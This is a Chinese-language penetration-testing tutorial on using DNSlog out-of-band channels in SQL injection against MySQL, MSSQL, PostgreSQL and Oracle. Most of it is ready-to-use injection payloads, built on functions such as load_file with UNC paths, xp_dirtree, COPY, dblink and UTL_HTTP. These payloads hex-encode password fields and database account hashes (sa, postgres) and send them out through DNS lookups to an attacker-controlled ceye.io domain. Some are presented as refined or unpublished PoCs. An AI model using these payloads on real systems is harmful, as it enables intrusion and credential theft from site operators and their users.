Dnslog在SQL注入中的實戰
本文主要講述Dnslog這種攻擊手法在SQL注入中的實戰運用,雖然網上對于Dnslog在SQL注入方面運用的文章也不少。但是很多文章都只是片面的提到了這個攻擊方式,或者只是用某個簡單的payload做了簡單的驗證。然而在實際的運用中,因為環境的差異,利用也不同。本文詳細的記錄了在多種常見數據庫實際運用過程的一些細節,包括POC的編寫和原理,和一些網上沒有公開的利用POC。
一、關于DNSlog在Web攻擊的利用 DNSlog在Web漏洞利用中已經是老生常談的問題,簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。
二、常用在哪些情況下
- SQL注入中的盲注
- 無回顯的命令執行
- 無回顯的SSRF
三、Dnslog攻擊的基本原理
如圖所示,作為攻擊者,提交注入語句,讓數據庫把需要查詢的值和域名拼接起來,然后發生DNS查詢,我們只要能獲得DNS的日志,就得到了想要的值。所以我們需要有一個自己的域名,然后在域名商處配置一條NS記錄,然后我們在NS服務器上面獲取DNS日志即可。 四、Dnslog在常見數據庫中SQL注入的實戰 這里主要列舉了4種數據庫,MySQL、MSSQL、PostgreSQL、Oracle。 本次演示一個最常見的注入場景,就是WHERE后面條件處的注入。實驗環境有一個test_user表,三個字段id、user、pass。如下
最后想要達到的目的是通過DNS外帶的方式查詢到pass字段的內容。 此處就不再自己搭建一個DNS服務器了,直接用ceye.io這個平臺吧,這個平臺就集成了Dnslog的功能。 1. MySQL (1) load_file MySQL應該是在實戰中利用Dnslog最多的,所以先來說說它吧。 在MySQL中有個一個load_file函數可以用來讀取本地的文件。 1. http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass)
2. FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))
可以看到test_user中的pass字段的值的Hex碼就被查詢出來了,為什么這個地方Hex編碼的目的就是減少干擾,因為很多事數據庫字段的值可能是有特殊符號的,這些特殊符號拼接在域名里是無法做dns查詢的,因為域名是有一定的規范,有些特殊符號是不能帶入的。 注意:load_file函數在Linux下是無法用來做dnslog攻擊的,因為在這里就涉及到Windows的一個小Tips——UNC路徑。 (2) UNC路徑 以下是百度的UNC路徑的解釋 UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。 其實我們平常在Widnows中用共享文件的時候就會用到這種網絡地址的形式 1. \\sss.xxx\test\
這也就解釋了為什么CONCAT()函數拼接了4個\了,因為轉義的原因,4個就變\成了2個\,目的就是利用UNC路徑。
1. tips:
因為Linux沒有UNC路徑這個東西,所以當MySQL處于Linux系統中的時候,是不能使用這種方式外帶數據的
2. msSQL (1) 先看看網上流傳最多的POC: 1. DECLARE @host varchar(1024);
2.
3. SELECT @host=(SELECT TOP 1master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';
4.
5. EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
這個POC在數據庫控制臺執行的確是可以得到數據庫中sa用戶Hex編碼之后的Hash的。但是實際要獲得我們的test_user的表中的數據的時候,對POC需要一定的加工。
首先在sqlserver中字段名是不能和自定義函數名字沖突的,如果沖突需要用[]將字段包裹起來,如下圖:
這里的user字段正好和系統的user()函數同名,所以字段需要[]包裹。 開始和域名拼接,發生如下圖的情況

然后發現拼接起來的字符串有空格,這是因為在sqlserver中當需要字符串拼接的時候,如果字段的值的長度沒有達到表結構字段的長度,就會用空格來填充
這里我的pass字段設置的長度是50,所但是值實際的長度是8,之所以剩余的長度就用空格填充了。這個時候就用想辦法去掉空格,查閱手冊可以發現rtrim函數是可以去除右邊空格的,如下圖
開始編碼,前面說過域名是不能帶有些特殊字符的,所以我們最好能將查詢出來的值編碼之后再和域名進行拼接,但是在查閱了sqlserver的手冊之后,沒有發現可以直接對字符類型進行編碼的函數,只有將2進制轉換成Hex的函數,所以這里我需要先將字符類型強制轉換成varbinary二進制類型,然后再將二進制轉化成Hex編碼之后的字符類型。先轉換成二進制
再把二進制轉換成字符類型的Hex編碼
最后完整的POC就是出來了。 1. http://127.0.0.1/mssql.php?id=1;
2. DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass)))
3. FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
4. EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
結果如下:

那為什么網上給的那個POC就是能夠獲取到sa用戶的hash之后的hex碼的呢,原因如下:
因為那個hash字段本來就是二進制類型,所以不需要在經過類型轉換了。 tips:此處有個小問題,因為拼接用到了+號,+號在url中如果不url編碼到代碼層的時候就成空格了,所以我們需要在提交之前對+號url編碼下 (2) SQLServer中其他的一些可使用函數 1. master..xp_fileexist
2. master..xp_subdirs
這兩個用法和前面的用法基本一樣,不再贅述。
1. OpenRowset()
2. OpenDatasource()
這兩個都是加載遠程數據庫的函數。
這個兩個函數都需要高權限,而且系統是默認關閉的,需要通過sp_configure去配置高級選項開啟功能,開啟代碼如下: 1. exec sp_configure 'show advanced options',1;
2. reconfigure; 3. exec sp_configure 'Ad Hoc Distributed Queries',1; 4. reconfigure;
所以此處不推薦使用這兩個函數,不僅權限要求高而且使用起來也太麻煩,前面三已經夠用了。
3. postgreSQL 大多數的腳本語言對于PostgreSQL都是支持SQL語句多語句的執行的所以此處就非常方便了,我們可以編寫一個自定義的函數和存儲過程就好了,和SQLServer類似。1)copy函數的定義 1. COPY tablename [ ( column [, ...] ) ]
2. FROM { 'filename' | STDIN } [ WITH ] [ BINARY ] [ OIDS ] [ DELIMITER [ AS ] 'delimiter' 'null string' ] CSV [ QUOTE [ AS ] 'quote' 'escape' ]
3. [ FORCE NOT NULL column [, ...] ]
4. COPY tablename [ ( column [, ...] ) ] TO { 'filename' | STDOUT } [ WITH ] [ BINARY ] [ OIDS ] [ DELIMITER [ AS ] 'delimiter' 'null string' ]
5. CSV [ QUOTE [ AS ] 'quote' 'escape' ] [ FORCE QUOTEcolumn [, ...] ]
從定義看出這里是無法嵌套查詢,它這里需要直接填入文件名,所以過程就麻煩一點。
這是網上的POC,整體上沒有什么問題。 1. DROP TABLE IF EXISTS table_output;
2. CREATE TABLE table_output(content text); 3. CREATE OR REPLACE FUNCTION temp_function()RETURNS VOID AS $$DECLARE exec_cmd TEXT; 4. DECLARE query_result TEXT;BEGINSELECT INTO query_result (SELECT passwdFROM pg_shadow WHERE usename='postgres'); 5. exec_cmd := E'COPY table_output(content)FROM E\'\\\\'||query_result||E'.postgreSQL.nk40ci.ceye.io\\foobar.txt\''; 6. EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function();
只是需要對數據處理編一下碼,此處會用到encode函數,如下
1. encode(pass::bytea,’hex’)
最后完整的POC如下:
1. http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output;
2. CREATE TABLE table_output(content text); 3. CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; 4. DECLARE query_result TEXT; 5. BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1); 6. exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\''; 7. EXECUTE exec_cmd; 8. END; 9. $$ LANGUAGE plpgSQL SECURITY DEFINER; 10.SELECT temp_function();
結果:

tips:因為這里的copy需要的參數是文件路徑,所以這里其實也是利用了UNC路徑,因此這個方式也只能在windows下使用 (2) db_link擴展 db_link是PostreSQL用來連接其他的數據庫的擴展,用法也很簡單,而且可以嵌套子查詢,那就很方便了 1. dblink('連接串', 'SQL語句')
1. http://127.0.0.1/pgsql.php?id=1;CREATE EXTENSION dblink;
2. SELECT * FROM dblink('host='||(select encode(pass::bytea,'hex') from test_user where id =1)||'.vvv.psql.3.nk40ci.ceye.io user=someuser dbname=somedb',
3. 'SELECT version()') RETURNS (result TEXT);
CREATE EXTENSION dblink; 就是打開這個擴展,因為這個擴展默認是關閉的。

tips:
- 在Ubuntu測試的時候dblink擴展不是默認安裝的,需要自己安裝擴展。
- Windows下是默認雖然有擴展的,但是默認是不開啟的,需要打開擴展。
4. Oracle Oracle的利用方式就太多了,因為Oracle能夠發起網絡請求的模塊是很很多的。 這里就列舉幾個吧。 UTL_HTTP.REQUEST 1. select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
DBMS_LDAP.INIT 1. select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
HTTPURITYPE
1. select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL;
UTL_INADDR.GET_HOST_ADDRESS
1. select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;

tips:oracle是不允許select語句后面沒有表的,所以此處可以跟一個偽表dual
Oracle其他一些能夠發起網絡請求的模塊: 1. UTL_HTTP
2. UTL_TCP 3. UTL_SMPTP 4. UTL_URL
五、總結
- 有些函數的使用操作系統的限制。
- dns查詢有長度限制,所以必要的時候需要對查詢結果做字符串的切割。
- 避免一些特殊符號的產生,最好的選擇就是數據先編碼再帶出。
- 注意不同數據庫的語法是有差異的,特別是在數據庫拼接的時候。
- 有些操作是需要較高的權限。